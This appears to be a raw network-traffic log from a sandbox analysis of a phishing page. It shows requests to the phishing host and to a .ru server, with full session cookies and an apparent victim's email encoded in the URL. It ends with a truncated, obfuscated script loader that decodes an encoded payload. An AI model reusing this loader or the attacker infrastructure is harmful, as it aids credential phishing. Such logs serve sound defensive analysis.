2025-03-26 23:31:50 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:51 UTC	1354	OUT	GET /favicon.ico HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InphbVFvc1NNN1dBayszeXZ4N0ppWlE9PSIsInZhbHVlIjoickJRUGJaL0UrRjRvbTNSQklyZ0F1bGtZTEpjSXg0dkFHajRaWDIrRGdVNWlOc2liazc3alJTUFhMVGdhTXZ2TDJlZjhMQ09SVVNYWmhNUitCcXFZY0dqenhCeDM0TThHODVJdmxGSER1NHFRdDF1U1I2ZXJJMVM2eWsvalRORU4iLCJtYWMiOiIzZDJkOWE4MDFjYzczYzJjOTBmMjgyYWYzODY4YTdkNWE4YTMyOGRmMzg0YTMwM2M0YTMzMzc4MzZmMTJjZjBhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkoyVjc4emo2NDJtR1gzalFUNm14Tnc9PSIsInZhbHVlIjoiNHlJTyt5T3NqZkxDMU84TzlKRmdEQm5CN08rYWZlR3I2S2Vyd0N3Uy9ML3FubVRUY25zL2hRcVN3VVpLQ0VnTlV6NUVuT3dqN2lRbkM0L3E5MC9ldmNZdTllckx0bjRIMWZWNWRyS0NBUGpZanJoWDc1V0RXaVp3MG9yNDRXN3oiLCJtYWMiOiJiZTg4MzM1OGJmNjM2OGM4ODQ3Y2IyNWIxMDEyMmMzYzM3YzM0NDBiMjM3MWM0OGM2ZTg3OGQzMzExMjQyMDRhIiwidGFnIjoiIn0%3D
2025-03-26 23:31:51 UTC	1074	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 23:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=53374&min_rtt=53286&rtt_var=11292&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1475&delivery_rate=75704&cwnd=33&unsent_bytes=0&cid=39afe62823aa7361&ts=387&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Server: cloudflare CF-RAY: 926a71a5995e43ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=86018&min_rtt=85749&rtt_var=18365&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1926&delivery_rate=35645&cwnd=252&unsent_bytes=0&cid=df8e692d72335e29&ts=1958&x=0"
2025-03-26 23:31:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:51 UTC	547	OUT	OPTIONS /report/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ea.gdpfjvzprf.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:31:51 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 26 Mar 2025 23:31:51 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:51 UTC	522	OUT	POST /report/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 455 Content-Type: application/reports+json Origin: https://ea.gdpfjvzprf.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:31:51 UTC	455	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 2e 67 64 70 66 6a 76 7a 70 72 66 2e 65 73 2f 32 6d 68 46 4d 75 2f 24 59 6d 4e 68 63 6d 35 6c 63 30 42 6f 61 57 78 6a 62 33 4a 77 4c 6d 4e 76 62 51 3d 3d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 32 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":98,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==","sampling_fraction":1.0,"server_ip":"104.21.32.1","status_code":404,"type":"http.erro
2025-03-26 23:31:52 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 23:31:51 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:56 UTC	565	OUT	GET /kella$aikufo HTTP/1.1 Host: 5s0vuk.hxnywi.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ea.gdpfjvzprf.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ea.gdpfjvzprf.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:31:57 UTC	820	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OFP01YBLuNHXNHBq%2B7ooXRQh14Rbi6yKFMeLkJkoLbCMgOhWDr88%2BvnU2n3EdGni0p9HqzVXhObcxskHSx%2FGKbXwoIpJGUeSDNUf6yqj6g5BVkYNeUbWRoOBNisB66AASXKj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926a71c8ac35d92a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=86517&min_rtt=86044&rtt_var=18863&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1137&delivery_rate=34941&cwnd=252&unsent_bytes=0&cid=8b45f01e7a542393&ts=850&x=0"
2025-03-26 23:31:57 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 23:31:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:57 UTC	1462	OUT	POST /jiGKex3XPK0msVlLiCAhVu6XcjV93iURFfpzRyziBil HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Content-Length: 773 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiPZ0NKTwBNjOpGpe sec-ch-ua-mobile: ?0 Accept: / Origin: https://ea.gdpfjvzprf.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InphbVFvc1NNN1dBayszeXZ4N0ppWlE9PSIsInZhbHVlIjoickJRUGJaL0UrRjRvbTNSQklyZ0F1bGtZTEpjSXg0dkFHajRaWDIrRGdVNWlOc2liazc3alJTUFhMVGdhTXZ2TDJlZjhMQ09SVVNYWmhNUitCcXFZY0dqenhCeDM0TThHODVJdmxGSER1NHFRdDF1U1I2ZXJJMVM2eWsvalRORU4iLCJtYWMiOiIzZDJkOWE4MDFjYzczYzJjOTBmMjgyYWYzODY4YTdkNWE4YTMyOGRmMzg0YTMwM2M0YTMzMzc4MzZmMTJjZjBhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkoyVjc4emo2NDJtR1gzalFUNm14Tnc9PSIsInZhbHVlIjoiNHlJTyt5T3NqZkxDMU84TzlKRmdEQm5CN08rYWZlR3I2S2Vyd0N3Uy9ML3FubVRUY25zL2hRcVN3VVpLQ0VnTlV6NUVuT3dqN2lRbkM0L3E5MC9ldmNZdTllckx0bjRIMWZWNWRyS0NBUGpZanJoWDc1V0RXaVp3MG9yNDRXN3oiLCJtYWMiOiJiZTg4MzM1OGJmNjM2OGM4ODQ3Y2IyNWIxMDEyMmMzYzM3YzM0NDBiMjM3MWM0OGM2ZTg3OGQzMzExMjQyMDRhIiwidGFnIjoiIn0%3D
2025-03-26 23:31:57 UTC	773	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 69 50 5a 30 4e 4b 54 77 42 4e 6a 4f 70 47 70 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 4f 63 48 33 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 69 50 5a 30 4e 4b 54 77 42 4e 6a 4f 70 47 70 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 4d 69 72 6e 56 6e 44 31 68 43 74 78 44 61 62 47 72 4f 4b 6f 73 56 4c 76 78 45 68 49 50 51 38 45 37 6f 39 58 71 58 55 5a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 69 50 5a 30 4e Data Ascii: ------WebKitFormBoundaryiPZ0NKTwBNjOpGpeContent-Disposition: form-data; name="bltpg"OcH3------WebKitFormBoundaryiPZ0NKTwBNjOpGpeContent-Disposition: form-data; name="sid"MirnVnD1hCtxDabGrOKosVLvxEhIPQ8E7o9XqXUZ------WebKitFormBoundaryiPZ0N
2025-03-26 23:31:58 UTC	1183	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:31:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HahYYAXOgshRIHmQlAylpG5JbvTVJEinAy3vDshh3pPgh3ZA3NtdjurW2Mp9RXytANDG9ngJwiK%2BKxkC6DSHA80x7Tva1eCnN3%2F0cDZL7kP6Trst8FThryX2kyX48WZNVn%2F6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=55520&min_rtt=55479&rtt_var=15638&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=3150&delivery_rate=72884&cwnd=253&unsent_bytes=0&cid=f0032aff503c95e3&ts=277&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlZGSGtRbGVEaE1QQVRiU3Jzek42RWc9PSIsInZhbHVlIjoicmFSb0Vwc3EwalAvTjZ1RnU2RDJ4UFdCZmZZcTdFZVRQMmZPcFZaeEZuVlFOdVhPRjFWY0RlMWNSSm5PUW85ZklOU1pwQ0xhODRDT0hmMjIrdUYzU3N3MmlUcXdwZjE2SFhraFpCZmhDbWF5VmdqYjV6eGtaa2NnWnlTK2wyOWgiLCJtYWMiOiI3ZDcyOGNhZjRiNGMzODAwZWE1ZmQxYTk2NDM5ODQwMjIxNTY4MmRjMWI2NWFhM2YwZDBhY2VjNGViMTQ4Y2ExIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:31:58 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:31:58 UTC	788	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 46 36 54 6e 4a 4d 4c 33 70 4c 5a 6c 5a 78 4b 30 6c 54 65 6d 49 30 54 6b 4a 48 56 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 56 45 78 56 45 52 4f 51 6c 42 7a 54 54 63 72 64 32 45 78 5a 6e 6c 30 62 45 64 51 4d 58 52 36 61 30 38 35 4d 47 6c 49 55 30 5a 72 64 46 6c 42 53 32 70 6a 61 30 45 30 63 32 4a 46 55 6d 6c 74 52 56 56 7a 62 58 42 55 56 6b 74 44 56 44 56 52 61 45 34 7a 57 56 4a 4f 56 33 55 77 64 33 5a 33 4d 45 74 33 54 6d 30 72 5a 31 6c 57 57 56 4e 52 52 46 42 47 4b 30 4e 4b 56 46 42 31 54 30 31 78 56 6e 52 4f 57 55 68 50 5a 57 6c 32 63 56 41 34 63 6d 4a 44 51 6a 42 45 54 30 63 78 57 46 45 32 55 32 46 58 62 47 64 4d 55 45 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlF6TnJML3pLZlZxK0lTemI0TkJHVXc9PSIsInZhbHVlIjoiMVExVEROQlBzTTcrd2ExZnl0bEdQMXR6a085MGlIU0ZrdFlBS2pja0E0c2JFUmltRVVzbXBUVktDVDVRaE4zWVJOV3Uwd3Z3MEt3Tm0rZ1lWWVNRRFBGK0NKVFB1T01xVnROWUhPZWl2cVA4cmJDQjBET0cxWFE2U2FXbGdMUEc
2025-03-26 23:31:58 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-26 23:31:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:58 UTC	1510	OUT	GET /2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZGSGtRbGVEaE1QQVRiU3Jzek42RWc9PSIsInZhbHVlIjoicmFSb0Vwc3EwalAvTjZ1RnU2RDJ4UFdCZmZZcTdFZVRQMmZPcFZaeEZuVlFOdVhPRjFWY0RlMWNSSm5PUW85ZklOU1pwQ0xhODRDT0hmMjIrdUYzU3N3MmlUcXdwZjE2SFhraFpCZmhDbWF5VmdqYjV6eGtaa2NnWnlTK2wyOWgiLCJtYWMiOiI3ZDcyOGNhZjRiNGMzODAwZWE1ZmQxYTk2NDM5ODQwMjIxNTY4MmRjMWI2NWFhM2YwZDBhY2VjNGViMTQ4Y2ExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlF6TnJML3pLZlZxK0lTemI0TkJHVXc9PSIsInZhbHVlIjoiMVExVEROQlBzTTcrd2ExZnl0bEdQMXR6a085MGlIU0ZrdFlBS2pja0E0c2JFUmltRVVzbXBUVktDVDVRaE4zWVJOV3Uwd3Z3MEt3Tm0rZ1lWWVNRRFBGK0NKVFB1T01xVnROWUhPZWl2cVA4cmJDQjBET0cxWFE2U2FXbGdMUEciLCJtYWMiOiJjZDRlYjMyMWU4ZTAwMjVkZDhmN2E0MjRhYjI1ZjgyZjhmMjRmNTNiN2IwYTY1Y2FjZmFhMWQ5MzgwYmUxZWQ0IiwidGFnIjoiIn0%3D
2025-03-26 23:31:59 UTC	1213	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pbMbIPvC4SF71XlksB4uEVwGjX%2F8bxqte6UJW2g5%2FiHQEQvt7CBkNEHQT2OU1c5G5V5ZQaAysqBJzUYpBboVBpb37wAAdg8xlI6RgzekjP%2BagUPWoIWm1gyPwesozA7y%2FpJK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1038&min_rtt=927&rtt_var=326&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2417&delivery_rate=3956947&cwnd=253&unsent_bytes=0&cid=debcfbdce23f1570&ts=245&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkYvTWdaa1BYcWVQY0RpVG1PcVV6bmc9PSIsInZhbHVlIjoiaHlrREcvdk1YSWRJSWJSb3lMeGRvSXFVaG5pV0plTWJpRTNvT0hBdEVEWGVWdS9kb3pKSEszbzFTRXJFakZaTU9ndVY2QzFySUFTajZMbHk5MVZJUms5RHdoYUM1MTR4SGRhQ1RhTTM5L0VvOFZ3THFsbXRkOTlUWmc0S2VPYTMiLCJtYWMiOiIwNjgxODhhM2QxYzkxYzVjMzVlNDkzMzZiZjI0MTc1ZmNhNjhmZmUxNjIxNWY0MDgyOTM5YmIxOWQ5OWQzMTVlIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:31:59 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:31:59 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4e 74 4d 6d 51 78 63 44 63 72 4d 6a 4e 47 4e 48 70 30 62 32 78 68 65 6c 56 55 62 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 32 6b 77 55 6b 52 5a 65 48 5a 47 62 32 78 4b 56 30 6c 36 5a 47 4e 6d 53 6a 46 5a 56 6a 5a 6f 4d 43 73 77 54 54 4e 53 55 31 6c 6f 65 6d 64 79 64 44 42 46 55 44 64 31 4d 54 4a 47 64 58 4e 74 51 6e 52 32 52 31 52 42 64 6c 56 54 53 56 4a 69 61 44 5a 6d 64 56 6c 43 65 6c 4a 59 56 6b 4a 79 62 58 70 49 4b 33 64 59 62 6e 4a 55 5a 48 46 51 62 6a 64 71 4e 54 4a 68 59 56 55 31 52 46 68 6b 53 7a 4a 76 5a 6b 35 42 61 48 5a 42 65 44 45 35 5a 6c 5a 79 64 47 30 30 62 57 56 4e 65 58 64 4b 64 45 70 71 4e 55 70 6b 63 56 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlNtMmQxcDcrMjNGNHp0b2xhelVUbHc9PSIsInZhbHVlIjoib2kwUkRZeHZGb2xKV0l6ZGNmSjFZVjZoMCswTTNSU1loemdydDBFUDd1MTJGdXNtQnR2R1RBdlVTSVJiaDZmdVlCelJYVkJybXpIK3dYbnJUZHFQbjdqNTJhYVU1RFhkSzJvZk5BaHZBeDE5ZlZydG00bWVNeXdKdEpqNUpkcVE
2025-03-26 23:31:59 UTC	1369	IN	Data Raw: 33 34 36 30 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 49 63 6a 68 78 6c 69 68 4e 6a 28 75 6c 46 73 42 67 7a 49 54 59 2c 20 57 69 6e 59 43 46 77 54 71 49 29 20 7b 0d 0a 6c 65 74 20 6e 79 70 55 68 46 67 62 4e 43 20 3d 20 27 27 3b 0d 0a 75 6c 46 73 42 67 7a 49 54 59 20 3d 20 61 74 6f 62 28 75 6c 46 73 42 67 7a 49 54 59 29 3b 0d 0a 6c 65 74 20 42 69 5a 66 67 48 55 41 56 69 20 3d 20 57 69 6e 59 43 46 77 54 71 49 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 6c 46 73 42 67 7a 49 54 59 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 6e 79 70 55 68 46 67 62 4e 43 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 75 6c 46 73 42 67 7a 49 54 59 2e 63 68 61 72 43 Data Ascii: 3460<script>function IcjhxlihNj(ulFsBgzITY, WinYCFwTqI) {let nypUhFgbNC = '';ulFsBgzITY = atob(ulFsBgzITY);let BiZfgHUAVi = WinYCFwTqI.length;for (let i = 0; i < ulFsBgzITY.length; i++) { nypUhFgbNC += String.fromCharCode(ulFsBgzITY.charC
2025-03-26 23:31:59 UTC	1369	IN	Data Raw: 5a 4d 43 63 48 42 67 77 68 44 53 39 64 45 52 6f 79 4a 41 70 5a 4c 54 55 2f 41 68 70 2f 44 41 73 37 45 69 45 53 4d 42 38 43 44 6a 45 76 44 44 34 4c 4d 7a 38 72 48 6e 38 4d 42 7a 42 59 44 41 31 56 48 77 38 59 4b 69 51 67 4b 41 51 69 4c 43 38 4b 4c 67 77 41 4b 41 77 4d 42 69 64 62 41 67 34 4c 63 77 6f 47 4d 6e 4d 73 4a 42 6b 77 49 52 51 38 47 41 77 4e 4b 77 4d 71 48 68 39 7a 4a 67 49 48 64 51 59 43 48 53 55 4a 41 43 73 5a 48 78 30 4a 4b 43 6c 37 46 79 38 6d 41 67 52 32 4b 79 38 4a 63 41 6b 43 57 53 41 4d 42 69 51 4c 41 67 6f 45 4a 43 41 6f 42 43 49 73 4c 77 6f 75 49 44 6f 72 41 53 45 4e 4c 78 38 45 49 41 64 7a 43 67 55 54 4b 53 6b 76 43 54 4d 6b 42 41 55 47 49 51 45 4b 43 79 38 42 44 33 49 7a 4f 44 49 69 42 46 34 64 66 42 52 78 55 41 41 66 45 51 6f 4c 42 54 Data Ascii: ZMCcHBgwhDS9dERoyJApZLTU/Ahp/DAs7EiESMB8CDjEvDD4LMz8rHn8MBzBYDA1VHw8YKiQgKAQiLC8KLgwAKAwMBidbAg4LcwoGMnMsJBkwIRQ8GAwNKwMqHh9zJgIHdQYCHSUJACsZHx0JKCl7Fy8mAgR2Ky8JcAkCWSAMBiQLAgoEJCAoBCIsLwouIDorASENLx8EIAdzCgUTKSkvCTMkBAUGIQEKCy8BD3IzODIiBF4dfBRxUAAfEQoLBT
2025-03-26 23:31:59 UTC	1369	IN	Data Raw: 44 53 73 41 42 44 35 31 43 43 41 6f 42 43 49 73 4a 48 73 48 42 69 31 5a 47 77 6f 79 56 53 63 52 44 6e 77 70 44 54 78 30 4b 51 63 43 47 6a 77 63 46 44 73 41 46 78 30 2f 41 43 6b 6e 46 77 34 49 4d 77 74 31 50 7a 74 2b 4a 53 59 71 44 67 55 63 64 31 77 5a 4c 77 34 54 64 77 30 73 64 43 6b 48 41 68 34 6e 43 51 41 72 42 69 45 53 55 41 59 76 44 69 6b 31 43 77 49 74 4b 51 45 42 48 54 77 68 41 41 49 4d 49 44 4a 56 4a 77 49 4b 42 43 51 67 4c 42 4e 33 50 7a 74 2b 65 51 6b 74 4b 78 49 66 48 54 38 41 4b 53 63 58 42 6a 4d 38 48 79 30 42 4f 7a 4e 35 44 67 41 43 58 41 45 55 43 67 73 43 43 67 51 6b 43 67 59 54 64 51 45 30 41 54 77 4d 42 44 4d 44 4a 77 30 72 41 41 51 2b 64 51 67 50 4f 43 35 79 49 54 30 37 50 42 38 47 55 41 63 68 4b 54 63 46 4c 69 63 44 42 43 41 76 64 53 49 Data Ascii: DSsABD51CCAoBCIsJHsHBi1ZGwoyVScRDnwpDTx0KQcCGjwcFDsAFx0/ACknFw4IMwt1Pzt+JSYqDgUcd1wZLw4Tdw0sdCkHAh4nCQArBiESUAYvDik1CwItKQEBHTwhAAIMIDJVJwIKBCQgLBN3Pzt+eQktKxIfHT8AKScXBjM8Hy0BOzN5DgACXAEUCgsCCgQkCgYTdQE0ATwMBDMDJw0rAAQ+dQgPOC5yIT07PB8GUAchKTcFLicDBCAvdSI
